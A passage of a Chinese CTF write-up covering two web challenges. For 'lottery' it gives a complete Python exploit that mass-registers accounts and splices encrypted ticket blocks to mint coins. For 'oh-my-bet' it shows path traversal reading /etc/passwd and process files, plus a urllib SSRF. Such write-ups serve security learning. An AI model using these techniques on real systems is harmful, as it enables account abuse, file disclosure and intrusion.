class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003cspan class=\"attr\"\u003e\u0026quot;lottery\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;b61740\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e52-f23a-4dbf-937d-fed3288b8de3\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026quot;coin\u0026quot;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好像没什么下手的地方?这时注意到php处理array的一个特性:当有重复键值时,取后扫描到的键值的值\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evar_dump([\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e2\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// output:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e [\u003cspan class=\"string\"\u003e\u0026quot;a\u0026quot;\u003c/span\u003e]=\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e回到题目。这类题目一般的思路为:用很多账户购买lottery(或者直接伪造,当然这道题不行,因为要和数据库内的lottery id交叉比对),并用一个账户充值,购买flag。也就是说,加入我们现在有两个lottery,我们需要将其中一个lottery的user段替换成另一个lottery中的user。\u003cbr\u003e结合php array特性,我们可以将\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:left\"\u003eLottery 1\u003c/th\u003e\u003cth style=\"text-align:left\"\u003eLottery 2\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“cf4cfb25-8168-49db-a\u003cbr\u003e32f-4bf80e5bc785”,“user”:“aaaaaa\u003cbr\u003eaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa”,\u003cbr\u003e“coin”:1}\u003c/td\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“fbdcf544-07d3-422e-8\u003cbr\u003e40b-d62a90c9332e”,“user”:“bbbbbb\u003cbr\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb”,\u003cbr\u003e“coin”:2}\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eLottery 1的第三个块替换为Lottery 2的第二、第三块:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003cspan class=\"attr\"\u003e\u0026quot;lottery\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;aaaaaa\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e40b-d62a90c9332e\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;bbbbbb\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026quot;coin\u0026quot;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e妙啊\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 完整exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode, b64decode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_user\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e usernm, passwd = get_random_id(), get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/user/register\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/user/login\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e user\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eflag_user = get_user()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(flag_user)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprice = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/buy\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eamount = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e amount \u0026lt; \u003cspan class=\"number\"\u003e9999\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fake_user = get_user()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sheep = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/buy\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: fake_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e treasure = b64decode(sheep)[:\u003cspan class=\"number\"\u003e64\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e b64decode(price)[\u003cspan class=\"number\"\u003e32\u003c/span\u003e:\u003cspan class=\"number\"\u003e96\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e b64decode(sheep)[\u003cspan class=\"number\"\u003e96\u003c/span\u003e:]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e treasure = b64encode(treasure).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coin = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/info\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;info\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;coin\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e amount += coin\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/charge\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;uuid\u0026#x27;\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;coin\u0026#x27;\u003c/span\u003e: coin,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(amount)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/flag\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-bet\"\u003eoh-my-bet\u003c/h2\u003e\u003cp\u003e上来就是个注册页面,然而头像的选择实现得很怪,提交的表单中是\u003ccode\u003e1.png\u003c/code\u003e这样的文件名一样的东西,尝试目录穿越,发现确实可以读到\u003ccode\u003e/etc/passwd\u003c/code\u003e\u003cbr\u003e遂尝试读\u003ccode\u003e/proc/self/cmdline\u003c/code\u003e等,获取到源码,顺藤摸瓜看到\u003ccode\u003e/app/utils.py\u003c/code\u003e与\u003ccode\u003e/app/config.py\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# utils.py\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_avatar\u003c/span\u003e(\u003cspan class=\"params\"\u003eusername\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e dirpath = os.path.dirname(__file__)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = User.query.filter_by(username=username).first()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e avatar = user.avatar\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e re.match(\u003cspan class=\"string\"\u003e\u0026#x27;.+:.+\u0026#x27;\u003c/span\u003e, avatar):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path = avatar\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path = \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#x27;file:/\u0026#x27;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#x27;static\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;img\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e, avatar])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(path).read())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e error_path = \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#x27;file:/\u0026#x27;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#x27;static\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;img\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;error.png\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(error_path).read())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e content\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eutils.py\u003c/code\u003e告诉我们用户头像是访问注册时提交的链接得到的,之后会缓存于redis中。观察可得此处的头像获取是个\u003ccode\u003eurllib\u003c/code\u003e任意协议ssrf\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# config.py\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eftp_login\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp = FTP()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp.connect(\u003cspan class=\"string\"\u003e\u0026quot;172.20.0.2\u0026quot;\u003c/span\u003e, \u003cspan class=\"number\"\u003e8877\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp.login(\u003cspan class=\"string\"\u003e\u0026quot;fan\u0026quot;\u003c/span\u003e, \u003cspan 